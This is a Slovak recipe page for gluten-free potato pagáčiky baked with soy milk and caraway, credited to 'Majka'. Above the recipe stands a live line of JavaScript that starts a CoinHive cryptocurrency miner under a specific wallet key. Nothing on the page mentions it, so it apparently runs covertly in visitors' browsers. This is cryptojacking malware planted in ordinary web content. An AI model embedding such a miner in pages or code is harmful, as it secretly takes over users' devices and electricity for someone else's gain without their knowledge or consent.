var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();

Budete potrebovať: 3 hrnčeky bezlepkovej múky, 2 hrnčeky uvarených postrúhaných zemiakov, 1 hrnček oleja, 1 hrnček vlažného sójového mlieka, na kvások cukor, kvasnice a mlieko, na potretie vajíčko, soľ, rascu. Všetky prísady vymiesime a necháme nakysnúť. Na pomúčenej doske vykrajujeme malé pagáčiky. Poukladáme ich na vymastený plech. Pred pečením ich potrieme rozšľahaným vajíčkom, časť pagáčikov môžeme posypať rascou, posolíme a upečieme do ružova.

Chutný recept od Majky.